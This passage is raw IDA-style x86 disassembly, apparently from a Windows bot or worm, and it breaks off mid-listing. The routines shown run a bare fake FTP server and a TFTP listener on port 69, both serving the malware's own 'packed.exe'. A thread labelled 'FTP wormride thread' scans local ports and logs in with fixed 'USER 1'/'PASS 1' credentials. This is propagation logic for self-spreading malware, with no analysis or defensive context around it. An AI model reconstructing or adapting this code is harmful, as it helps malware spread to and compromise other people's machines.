[ebp+arg_8] and ecx, dword_41BB01[eax] test ecx, ecx jz short loc_41100F jmp short loc_410FE3 ; --------------------------------------------------------------------------- loc_41100F: ; CODE XREF: sub_410F60+ABj movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_C] mov al, byte_41BB00[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_410FE3 ; --------------------------------------------------------------------------- locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj ; sub_410F60:loc_410FDDj ... leave retn sub_410F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41102F proc near ; CODE XREF: sub_41113B+79Bp var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4050EA add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411065 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_41106C loc_411065: ; CODE XREF: sub_41102F+2Bj xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41106C: ; CODE XREF: sub_41102F+34j push offset aRb ; "rb" push offset aPacked_exe ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_41109F push [ebp+var_204] call sub_4053B1 pop ecx xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41109F: ; CODE XREF: sub_41102F+5Bj ; sub_41102F:loc_41111Cj mov eax, [ebp+var_208] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_41111E push [ebp+var_208] push 200h push 1 lea eax, [ebp+var_200] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_20C], eax push [ebp+var_20C] lea eax, [ebp+var_200] push eax push [ebp+var_204] call sub_4053BF add esp, 0Ch mov [ebp+var_210], eax mov eax, [ebp+var_20C] cmp eax, [ebp+var_210] jz short loc_41111C push [ebp+var_204] call sub_4053B1 pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx xor eax, eax jmp short locret_411139 ; --------------------------------------------------------------------------- loc_41111C: ; CODE XREF: sub_41102F+CFj jmp short loc_41109F ; --------------------------------------------------------------------------- loc_41111E: ; CODE XREF: sub_41102F+7Ej push [ebp+var_204] call sub_40538D pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx push 1 pop eax locret_411139: ; CODE XREF: sub_41102F+38j ; sub_41102F+6Bj ... leave retn sub_41102F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41113B proc near ; DATA XREF: sub_411BBC+156o var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = dword ptr -550h var_54C = dword ptr -54Ch var_548 = dword ptr -548h var_544 = dword ptr -544h var_540 = byte ptr -540h var_53C = byte ptr -53Ch var_538 = byte ptr -538h var_534 = dword ptr -534h var_530 = byte ptr -530h var_52C = dword ptr -52Ch var_528 = dword ptr -528h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_318 = byte ptr -318h var_118 = dword ptr -118h var_114 = byte ptr -114h var_113 = byte ptr -113h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 558h push edi mov eax, [ebp+arg_0] mov [ebp+var_10C], eax push offset a220 ; "220 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch mov al, byte_41DE30 mov [ebp+var_104], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp+var_114], al xor eax, eax lea edi, [ebp+var_113] stosd stosb and [ebp+var_4], 0 and [ebp+var_118], 0 and [ebp+var_108], 0 loc_4111CC: ; CODE XREF: sub_41113B+10Cj ; sub_41113B+1BDj ... push 0EA60h push [ebp+var_10C] call sub_40546E pop ecx pop ecx test eax, eax jz loc_4119BA push 200h lea eax, [ebp+var_318] push eax push [ebp+var_10C] call sub_4053DC add esp, 0Ch mov [ebp+var_520], eax cmp [ebp+var_520], 0 jz short loc_411218 cmp [ebp+var_520], 0FFFFFFFFh jnz short loc_41121D loc_411218: ; CODE XREF: sub_41113B+D2j jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41121D: ; CODE XREF: sub_41113B+DBj lea eax, [ebp+var_108] push eax push offset dword_41C6AC lea eax, [ebp+var_318] push eax call sub_40813C add esp, 0Ch mov [ebp+var_528], eax cmp [ebp+var_528], 0 jnz short loc_411249 jmp short loc_4111CC ; --------------------------------------------------------------------------- loc_411249: ; CODE XREF: sub_41113B+10Aj lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch mov [ebp+var_51C], eax cmp [ebp+var_51C], 0 jnz short loc_411278 mov [ebp+var_51C], offset byte_41DE30 loc_411278: ; CODE XREF: sub_41113B+131j lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch push [ebp+var_528] call sub_40ED38 pop ecx mov [ebp+var_524], eax mov eax, [ebp+var_524] sub eax, dword_41C6A0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4112FD mov [ebp+var_4], 1 push offset a331 ; "331 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4112FD: ; CODE XREF: sub_41113B+178j mov eax, [ebp+var_524] sub eax, dword_41C68C neg eax sbb eax, eax inc eax test eax, eax jz short loc_41135D mov [ebp+var_118], 1 push offset a230 ; "230 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41135D: ; CODE XREF: sub_41113B+1D5j cmp [ebp+var_4], 0 jz short loc_41136C cmp [ebp+var_118], 0 jnz short loc_411371 loc_41136C: ; CODE XREF: sub_41113B+226j jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411371: ; CODE XREF: sub_41113B+22Fj mov eax, [ebp+var_524] sub eax, dword_41C678 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4113C7 push offset a215 ; "215 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4113C7: ; CODE XREF: sub_41113B+249j mov eax, [ebp+var_524] sub eax, dword_41C664 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41141D push offset a211 ; "211 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41141D: ; CODE XREF: sub_41113B+29Fj mov eax, [ebp+var_524] sub eax, dword_41C654 neg eax sbb eax, eax inc eax test eax, eax jz short loc_411473 push offset a257 ; "257 \"/\" -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411473: ; CODE XREF: sub_41113B+2F5j mov eax, [ebp+var_524] sub eax, dword_41C63C neg eax sbb eax, eax inc eax test eax, eax jz short loc_4114C9 push offset a200 ; "200 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4114C9: ; CODE XREF: sub_41113B+34Bj mov eax, [ebp+var_524] sub eax, dword_41C628 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41151F push offset a425 ; "425 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41151F: ; CODE XREF: sub_41113B+3A1j mov eax, [ebp+var_524] sub eax, dword_41C614 neg eax sbb eax, eax inc eax test eax, eax jz loc_411622 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_52C] push eax lea eax, [ebp+var_540] push eax lea eax, [ebp+var_53C] push eax lea eax, [ebp+var_538] push eax lea eax, [ebp+var_530] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push [ebp+var_51C] call sub_416BA2 ; sscanf add esp, 20h movzx eax, [ebp+var_540] push eax movzx eax, [ebp+var_53C] push eax movzx eax, [ebp+var_538] push eax movzx eax, [ebp+var_530] push eax push offset aU_U_U_U ; "%u.%u.%u.%u" push 100h lea eax, [ebp+var_104] push eax call sub_416BAE ; _snprintf add esp, 1Ch mov eax, [ebp+var_52C] and eax, 0FFh shl eax, 8 mov ecx, [ebp+var_534] and ecx, 0FFh or eax, ecx push eax push offset aU_0 ; "%u" push 6 lea eax, [ebp+var_114] push eax call sub_416BAE ; _snprintf add esp, 10h push offset a200 ; "200 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411622: ; CODE XREF: sub_41113B+3F7j mov eax, [ebp+var_524] sub eax, dword_41C5F4 neg eax sbb eax, eax inc eax test eax, eax jz loc_4116E9 push offset aRb ; "rb" push offset aPacked_exe ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_548], eax cmp [ebp+var_548], 0 jnz short loc_411660 jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411660: ; CODE XREF: sub_41113B+51Ej push 2 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B76 ; ftell pop ecx mov [ebp+var_544], eax push 0 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B82 ; fclose pop ecx push [ebp+var_544] push offset a213U ; "213 %u\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 10h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4116E9: ; CODE XREF: sub_41113B+4FAj mov eax, [ebp+var_524] sub eax, dword_41C5DC neg eax sbb eax, eax inc eax test eax, eax jz loc_411873 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_4050EA add esp, 10h mov [ebp+var_54C], eax cmp [ebp+var_54C], 0 jz short loc_411773 cmp [ebp+var_54C], 0FFFFFFFFh jnz short loc_411778 loc_411773: ; CODE XREF: sub_41113B+62Dj jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411778: ; CODE XREF: sub_41113B+636j push offset aRb ; "rb" push offset aPacked_exe ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_554], eax cmp [ebp+var_554], 0 jnz short loc_41179D jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41179D: ; CODE XREF: sub_41113B+65Bj push 2 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B76 ; ftell pop ecx mov [ebp+var_550], eax push 0 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B82 ; fclose pop ecx push offset aPacked_exe ; "packed.exe" push [ebp+var_550] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_54C] call sub_4053BF add esp, 0Ch push [ebp+var_54C] call sub_40538D pop ecx push offset a226 ; "226 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411873: ; CODE XREF: sub_41113B+5C1j mov eax, [ebp+var_524] sub eax, dword_41C54C neg eax sbb eax, eax inc eax test eax, eax jz loc_411969 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_41102F pop ecx pop ecx test eax, eax jz loc_411967 push offset a226 ; "226 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 1 push offset dword_41EB08 call sub_409C88 pop ecx pop ecx inc eax mov [ebp+var_558], eax lea eax, [ebp+var_104] push eax push [ebp+var_558] push offset aFtp_0 ; "ftp" push offset unk_41C520 push offset aLast ; "#last" call sub_40D4AB add esp, 14h push 3E8h call ds:dword_41709C ; Sleep jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411967: ; CODE XREF: sub_41113B+7A4j jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411969: ; CODE XREF: sub_41113B+74Bj mov eax, [ebp+var_524] sub eax, dword_41C514 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4119BA push offset a221 ; "221 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch loc_4119BA: ; CODE XREF: sub_41113B+A5j ; sub_41113B:loc_411218j ... push offset a231 ; "231 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push [ebp+var_10C] call sub_40538D pop ecx xor eax, eax pop edi leave retn 4 sub_41113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A09 proc near ; CODE XREF: sub_411BBC+90p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push 32h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_411A29 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A29: ; CODE XREF: sub_411A09+17j push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053DC add esp, 0Ch mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411A58 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411A5F loc_411A58: ; CODE XREF: sub_411A09+44j xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A5F: ; CODE XREF: sub_411A09+4Dj lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset a220_0 ; "220" lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411A8A xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_411A09+78j push offset aUser1 ; "USER 1\r\n" lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411AEE cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411AF5 loc_411AEE: ; CODE XREF: sub_411A09+DAj xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411AF5: ; CODE XREF: sub_411A09+E3j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset a331_0 ; "331" lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411B20 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411A09+10Ej call sub_410422 push eax push offset aPass1 ; "PASS 1\r\n" lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411B8B cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411B8F loc_411B8B: ; CODE XREF: sub_411A09+177j xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411B8F: ; CODE XREF: sub_411A09+180j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset a230_0 ; "230" lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411BB7 xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411BB7: ; CODE XREF: sub_411A09+1A8j push 1 pop eax locret_411BBA: ; CODE XREF: sub_411A09+1Bj ; sub_411A09+51j ... leave retn sub_411A09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BBC proc near ; CODE XREF: sub_411D59+6p var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 jmp short loc_411C04 ; --------------------------------------------------------------------------- loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_411C04: ; CODE XREF: sub_411BBC+3Fj cmp [ebp+var_8], 0FFFFh jnb loc_411CB0 push 0Ah lea eax, [ebp+var_18] push eax push [ebp+var_8] call sub_416F7A ; _itoa add esp, 0Ch push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_4050EA add esp, 10h mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jz short loc_411CAB push [ebp+var_1C4] call sub_411A09 pop ecx test eax, eax jz short loc_411C9F mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jnz short loc_411C76 push 2 lea eax, [ebp+var_18] push eax push [ebp+var_10] call sub_404871 add esp, 0Ch jmp short loc_411C9F ; --------------------------------------------------------------------------- loc_411C76: ; CODE XREF: sub_411BBC+A5j push 2 lea eax, [ebp+var_18] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_411C9F push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411C9F: ; CODE XREF: sub_411BBC+98j ; sub_411BBC+B8j ... push [ebp+var_1C4] call sub_4053B1 pop ecx loc_411CAB: ; CODE XREF: sub_411BBC+88j jmp loc_411BFD ; --------------------------------------------------------------------------- loc_411CB0: ; CODE XREF: sub_411BBC+4Fj cmp [ebp+var_10], 0 jnz short loc_411CC9 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411CC9: ; CODE XREF: sub_411BBC+F8j mov eax, [ebp+var_1C0] push dword ptr [eax] push offset unk_41C6DC lea eax, [ebp+var_1BC] push eax call sub_40D53F add esp, 0Ch loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj push 3E8h push [ebp+var_10] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax cmp [ebp+var_1C8], 0 jz short loc_411D2E cmp [ebp+var_1C8], 0FFFFFFFFh jz short loc_411D2E push [ebp+var_1C8] push offset sub_41113B call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_411D2E push [ebp+var_1C8] call sub_4053B1 pop ecx loc_411D2E: ; CODE XREF: sub_411BBC+145j ; sub_411BBC+14Ej ... mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jz short loc_411D3C jmp short loc_411D3E ; --------------------------------------------------------------------------- loc_411D3C: ; CODE XREF: sub_411BBC+17Cj jmp short loc_411CE5 ; --------------------------------------------------------------------------- loc_411D3E: ; CODE XREF: sub_411BBC+17Ej push [ebp+var_10] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_411D55: ; CODE XREF: sub_411BBC+DEj ; sub_411BBC+108j leave retn 4 sub_411BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D59 proc near ; DATA XREF: sub_411D68+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_411BBC pop ebp retn 4 sub_411D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp ; sub_40A9CF+735p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4042FB test eax, eax jz short loc_411D77 jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D77: ; CODE XREF: sub_411D68+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_411D8D jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D8D: ; CODE XREF: sub_411D68+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411D59 call sub_4095A4 add esp, 10h locret_411DC3: ; CODE XREF: sub_411D68+Dj ; sub_411D68+23j leave retn sub_411D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DC5 proc near ; DATA XREF: sub_4123F6+43o var_DAC = dword ptr -0DACh var_DA8 = dword ptr -0DA8h var_DA4 = dword ptr -0DA4h var_DA0 = byte ptr -0DA0h var_D9C = dword ptr -0D9Ch var_D98 = byte ptr -0D98h var_D94 = dword ptr -0D94h var_D90 = dword ptr -0D90h var_D8C = dword ptr -0D8Ch var_D88 = dword ptr -0D88h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D7C = dword ptr -0D7Ch var_D70 = byte ptr -0D70h var_D6F = byte ptr -0D6Fh var_D6E = byte ptr -0D6Eh var_D6D = byte ptr -0D6Dh var_D6C = byte ptr -0D6Ch var_B6C = dword ptr -0B6Ch var_B68 = dword ptr -0B68h var_B64 = dword ptr -0B64h var_B60 = dword ptr -0B60h var_B5C = dword ptr -0B5Ch var_B58 = dword ptr -0B58h var_358 = dword ptr -358h var_354 = byte ptr -354h var_1B0 = word ptr -1B0h var_1AE = word ptr -1AEh var_1AC = dword ptr -1ACh var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_19A = byte ptr -19Ah var_199 = byte ptr -199h var_11C = byte ptr -11Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DACh push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_358] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0 push 2 push 2 call ds:dword_417218 ; socket mov [ebp+var_108], eax cmp [ebp+var_108], 0FFFFFFFFh jnz short loc_411E1D push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411E1D: ; CODE XREF: sub_411DC5+43j lea eax, [ebp+var_104] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_1B0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1B0], 2 push 45h call ds:dword_417238 ; ntohs mov [ebp+var_1AE], ax lea eax, [ebp+var_104] push eax call ds:dword_417244 ; inet_addr mov [ebp+var_1AC], eax mov [ebp+var_1A0], 1 push 4 lea eax, [ebp+var_1A0] push eax push 4 push 0FFFFh push [ebp+var_108] call ds:dword_417204 ; setsockopt push 10h lea eax, [ebp+var_1B0] push eax push [ebp+var_108] call ds:dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_411EC2 push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411EC2: ; CODE XREF: sub_411DC5+E8j push offset aRb ; "rb" push offset aPacked_exe ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_10C], eax cmp [ebp+var_10C], 0 jnz short loc_411F01 push [ebp+var_108] call ds:dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411F01: ; CODE XREF: sub_411DC5+11Bj mov eax, [ebp+var_358] push dword ptr [eax] push offset unk_41C788 lea eax, [ebp+var_354] push eax call sub_40D53F add esp, 0Ch push 2 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] call sub_416B76 ; ftell pop ecx mov [ebp+var_4], eax push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push 80h push 0 lea eax, [ebp+var_19C] push eax call sub_416B6A ; memset add esp, 0Ch loc_411F66: ; CODE XREF: sub_411DC5:loc_412084j ; sub_411DC5:loc_4123C6j mov [ebp+var_B64], 1 and [ebp+var_B60], 0 and [ebp+var_B5C], 0 loc_411F7E: ; CODE XREF: sub_411DC5+234j and [ebp+var_B68], 0 jmp short loc_411F94 ; --------------------------------------------------------------------------- loc_411F87: ; CODE XREF: sub_411DC5:loc_411FB9j mov eax, [ebp+var_B68] inc eax mov [ebp+var_B68], eax loc_411F94: ; CODE XREF: sub_411DC5+1C0j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnb short loc_411FBB mov eax, [ebp+var_B68] mov eax, [ebp+eax*4+var_B58] cmp eax, [ebp+var_108] jnz short loc_411FB9 jmp short loc_411FBB ; --------------------------------------------------------------------------- loc_411FB9: ; CODE XREF: sub_411DC5+1F0j jmp short loc_411F87 ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_411DC5+1DBj ; sub_411DC5+1F2j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnz short loc_411FF5 cmp [ebp+var_B5C], 200h jnb short loc_411FF5 mov eax, [ebp+var_B68] mov ecx, [ebp+var_108] mov [ebp+eax*4+var_B58], ecx mov eax, [ebp+var_B5C] inc eax mov [ebp+var_B5C], eax loc_411FF5: ; CODE 